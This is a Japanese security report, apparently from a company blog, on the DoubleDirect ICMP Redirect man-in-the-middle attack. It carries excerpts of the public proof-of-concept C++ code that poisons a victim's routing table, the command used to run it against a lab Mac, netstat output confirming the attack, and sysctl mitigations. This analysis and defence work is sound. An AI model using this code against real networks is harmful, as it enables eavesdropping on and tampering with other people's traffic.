スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > DoubleDirect MITM Attack

タイガーチームセキュリティレポート

DoubleDirect MITM Attack

今回はZimperiumが発見したDoubleDirectと呼ばれるMITM(中間者攻撃)の手法を紹介したいと思います。良く知られたMITMの手法はgratuitous ARPで攻撃対象ホストとルータのARP cache tableを汚染するARP Poisoning Attackですが、DoubleDirectではICMP Redirectで攻撃対象ホストのrouting tableを汚染します。


手法がARP PoisoningであるかDoubleDirectであるかに関わらずMITMを受けた場合、HTTP等の平文プロトコルを使った通信内容を盗聴・改竄される恐れがあります。また、MITMはSSL等の暗号プロトコルの脆弱性(POODLEなどが記憶に新しいところでしょうか?)を攻撃するためにも利用されることがあります。

DoubleDirectでは攻撃対象ホストがICMP Redirectを有効にしている必要がありますが、多くのWindowsまたはLinuxホスト(Androidを除く)ではこれが無効化されているようです。しかし、多くのAndroidまたはiOS端末とMac OS Xでは有効であるためDoubleDirectの影響を受けます。今回はMac OS Xで検証しました。


以下のような環境を考えます。Attacker、Victim、Routerは同じdata link上につながっておりVictimのrouting tableではDefault GWがRouterのIPアドレスに設定されているとします。


ARP Poisoningについてはすでに多くの文献があるので説明は省略してDoubleDirectについて説明します。まずDoubleDirectの前提条件としてAttackerはVictimが使用するDNS Serverを知っているものとします。ここではDNS Serverとして8.8.8.8が使用されているものとします。

次にICMP Redirect Messageの形式について確認しておきます。通常、このMessageはRouterがネットワーク上のホストからパケットを受信した際に、パケットの送信元に対しGWとして別のIPアドレスを教えるために使用されます。

Redirect Message

    0                   1                   2                   3
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |     Type      |     Code      |          Checksum             |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |                 Gateway Internet Address                      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
   |      Internet Header + 64 bits of Original Data Datagram      |
   +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

   IP Fields:

   Destination Address

      The source network and address of the original datagram's data.

   ICMP Fields:

   Type

      5

   Code

      0 = Redirect datagrams for the Network.

      1 = Redirect datagrams for the Host.

      2 = Redirect datagrams for the Type of Service and Network.

      3 = Redirect datagrams for the Type of Service and Host.

   Checksum

      The checksum is the 16-bit ones's complement of the one's
      complement sum of the ICMP message starting with the ICMP Type.
      For computing the checksum , the checksum field should be zero.
      This checksum may be replaced in the future.

   Gateway Internet Address

      Address of the gateway to which traffic for the network specified
      in the internet destination network field of the original
      datagram's data should be sent.
RFC 792

攻撃者は"Gateway Internet Address"にAttackerのIPアドレスを設定し、"Internet Header"以降を偽造したRedirect MessageをVictimに送信することでVictimのrouting tableを書き換えます。これによりVictimは"Internet Header"に設定されたIPアドレス宛のパケットをAttackerを経由して送り出そうとします。

図を使って攻撃の手順を説明します。Victimがwww.gsx.co.jpにアクセスしようとする場合を考えます。

AttackerはVictimにRedirect Messageを送って宛先8.8.8.8のGatewayをAttackerのIPに設定させます。Victimが8.8.8.8にwww.gsx.co.jpのIPを問い合わせるとDNS QueryはAttackerを経由して送り出されますが、その際にAttackerはQueryの送信元IPをAttacker自身のIPに書き換え(Masquerade)て8.8.8.8に中継します。

8.8.8.8がAttackerを経由してwww.gsx.co.jpのIPをVictimに返すと、Attackerは返されたIPをみて再びRedirect Messageを使ってVictimのrouting tableに新しいentryを追加します。これ以降にVictimがwww.gsx.co.jpにアクセスしようとするとパケットはAttackerを経由し、さらに送信元IPはMasqueradeされます。

以上が攻撃の手順です。AttackerはVictimのrouting tableにentryを追加することでVictimがInternet上の任意のドメインとの間で行う通信を盗聴・改竄することができます。

以下は公開されているPoCから一部の処理を抜粋したものです。関数poisonDnsServers()とDnsWatcher()は上の2つ図で説明した処理を行います。startIcmpRedirectAttack()がVictimに"毒"を入れるための関数で、Redirect Messageを3回送信します。また4つDNS ServerのIPがhard codeされていることもわかります。

void DnsWatcher(Crafter::Packet* sniff_packet, void* user) {
    IcmpRedirParameters* parameters = reinterpret_cast<IcmpRedirParameters*>(user);

    /* Get the Ethernet Layer */
    Crafter::Ethernet* ether_layer = GetEthernet(*sniff_packet);

    /* Get the IP layer */
    Crafter::IP* ip_layer = GetIP(*sniff_packet);

    /* Get the UDP layer */
    Crafter::UDP* udp_layer = GetUDP(*sniff_packet);

    /* Checks if the source MAC is not mine */
    if(ether_layer->GetSourceMAC() != getGatewayMac(parameters->_interface)) {

        // Checks if the packet is coming from the server
        if(ip_layer->GetSourceIP() == parameters->_victim) {
            // Get the RawLayer
            Crafter::RawLayer* raw_layer = GetRawLayer(*sniff_packet);

            // Create a DNS header
            Crafter::DNS dns_req;
            // And decode it from a raw layer
            dns_req.FromRaw(*raw_layer);

            // Check if the DNS packet is a query and there is a question on it.
            if( (dns_req.GetQRFlag() == 0) && (dns_req.Queries.size() > 0) ) {
                    // Get the host name to be resolved
                    std::string hostname = dns_req.Queries[0].GetName();
                    // Print information
                    std::cout << "[@] Query detected -> Host Name = " << hostname << std::endl;
            }

        // ...or coming from the server (better)
        } else if (ip_layer->GetDestinationIP() == parameters->_victim) {

            // Get the RawLayer
            Crafter::RawLayer* raw_layer = GetRawLayer(*sniff_packet);

            // Create a DNS header
            Crafter::DNS dns_res;
            // And decode it from a raw layer
            dns_res.FromRaw(*raw_layer);

            // Check if we have responses on the DNS packet.
            if(dns_res.Answers.size() > 0) {
                for(size_t i = 0 ; i < dns_res.Answers.size() ; ++i) {
                    if(dns_res.Answers[i].GetType() == Crafter::DNS::TypeA) {
                        // Get the host name to be resolved
                        std::string ip = dns_res.Answers[i].GetRData();
                        // Print information
                        std::cout << "[@] Response detected -> IP address = " << ip << std::endl;
                        // Poison this address
                        startIcmpRedirectAttack(*parameters, ip);
                    }
                }
            }
        }
    }
}

// Function to poison a fixed list of DNS servers
void* poisonDnsServers(void* user) {
    IcmpRedirParameters* redirect_parameters = reinterpret_cast<IcmpRedirParameters*>(user);

    while(not finish) {
        // HardCode DNS servers we want to redirect to our machine
        startIcmpRedirectAttack(*redirect_parameters, getGatewayIp(redirect_parameters->_interface)); // Gateway
        startIcmpRedirectAttack(*redirect_parameters, "8.8.8.8"); // GOOGLE
        startIcmpRedirectAttack(*redirect_parameters, "8.8.4.4"); // GOOGLE
        startIcmpRedirectAttack(*redirect_parameters, "208.67.222.222"); // OpenDNS
        startIcmpRedirectAttack(*redirect_parameters, "208.67.220.220"); // OpenDNS
        sleep(10);
    }

    return 0;
}
doubledirect_poc.cpp


PoCの検証のためにAttacker (GNU/Linux)からVictim (Mac OS X)を攻撃してみます。IPアドレス等は以下のように設定しています。DNS ServerのIPアドレスは8.8.8.8に設定しています。

まずAttacker上でPoC (doubledirect_poc)を実行します。引数にはinterfaceの名前とVictimのIPアドレスを指定しています。

attacker$ sudo ./doubledirect_poc -i eth0 -v 192.168.0.102
[#] ***** ZIMPERIUM - DoubleDirect :: Full-Duplex ICMP Redirect Audit Tool *****
[#] Attack parameters : 
    [+] Interface : eth0
    [+] Victim IP address : 192.168.0.102
[#] Gateway parameters : 
    [+] Gateway IP address : 192.168.0.1
    [+] Gateway MAC address : 00:16:01:1e:87:24
[#] My parameters : 
    [+] My IP address : 192.168.0.10

Victim上でrouting tableを表示すると、DNS ServerのIPアドレスに対応するentryが追加されていることがわかります。なぜか8.8.8.8に対応するentryは見えていません

victim$ netstat -nr
Routing tables

Internet:
Destination        Gateway            Flags        Refs      Use   Netif Expire
default            192.168.0.1        UGSc            4        0     en3
8.8.4.4            192.168.0.10       UGHDM3I         0        0     en3     10
127                127.0.0.1          UCS             0        0     lo0
127.0.0.1          127.0.0.1          UH              1     3522     lo0
169.254            link#9             UCS             0        0     en3
192.168.0          link#9             UCS             2        0     en3
192.168.0.1        0:16:1:1e:87:24    UHLWIir         6       46     en3   1190
192.168.0.10       10:78:d2:32:ad:63  UHLWIir         5      144     en3   1177
192.168.0.102      127.0.0.1          UHS             0        0     lo0
208.67.220.220     192.168.0.10       UGHDM3I         0        0     en3     10
208.67.222.222     192.168.0.10       UGHDM3I         0        0     en3     10

そこでwww.gsx.co.jpにwgetしてみると、routing tableの一番下に新しいentryが追加されました。このことからPoCは想定通りの動作をしていることがわかります

victim$ wget -O - http://www.gsx.co.jp/ > /dev/null
converted 'http://www.gsx.co.jp/' (US-ASCII) -> 'http://www.gsx.co.jp/' (UTF-8)
--2014-11-21 15:06:09--  http://www.gsx.co.jp/
Resolving www.gsx.co.jp (www.gsx.co.jp)... 210.255.186.91
Connecting to www.gsx.co.jp (www.gsx.co.jp)|210.255.186.91|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 92502 (90K) [text/html]
Saving to: `STDOUT'

-                             100%[===================================================>]  90.33K  --.-KB/s   in 0.06s  

2014-11-21 15:06:09 (1.53 MB/s) - written to stdout [92502/92502]

victim$
victim$ netstat -nr
Routing tables

Internet:
Destination        Gateway            Flags        Refs      Use   Netif Expire
default            192.168.0.1        UGSc            4        0     en3
8.8.4.4            192.168.0.10       UGHDM3I         0        0     en3     10
127                127.0.0.1          UCS             0        0     lo0
127.0.0.1          127.0.0.1          UH              1     3522     lo0
169.254            link#9             UCS             0        0     en3
192.168.0          link#9             UCS             2        0     en3
192.168.0.1        0:16:1:1e:87:24    UHLWIir         6       46     en3   1188
192.168.0.10       10:78:d2:32:ad:63  UHLWIir         6      147     en3   1190
192.168.0.102      127.0.0.1          UHS             0        0     lo0
208.67.220.220     192.168.0.10       UGHDM3I         0        0     en3     10
208.67.222.222     192.168.0.10       UGHDM3I         0        0     en3     10
210.255.186.91     192.168.0.10         0       55     en3     10


Mac OS Xではsysctlでnet.inet.ip.redirectの値を0に設定することでRedirect Messageを無効化することができます。

脱獄したiOSでもsysctlが利用できますが、今回は検証していません。Androidでも/proc/sys/net/ipv4/conf/all/accept_redirectsの値を0にすることで同様に無効化できるようですが、root化が必要です。

技術的な対策の他に、利用者としては信頼できないネットワークに安易に接続しないなどの基本的な注意が必要です。


参考情報:
[1] DoubleDirect - Zimperium Discovers Full-Duplex ICMP Redirect Attacks in the Wild
http://blog.zimperium.com/doubledirect-zimperium-discovers-full-duplex-icmp-redirect-attacks-in-the-wild/
[2] INTERNET CONTROL MESSAGE PROTOCOL
https://tools.ietf.org/html/rfc792


タイガーチームメンバー 塚本 泰三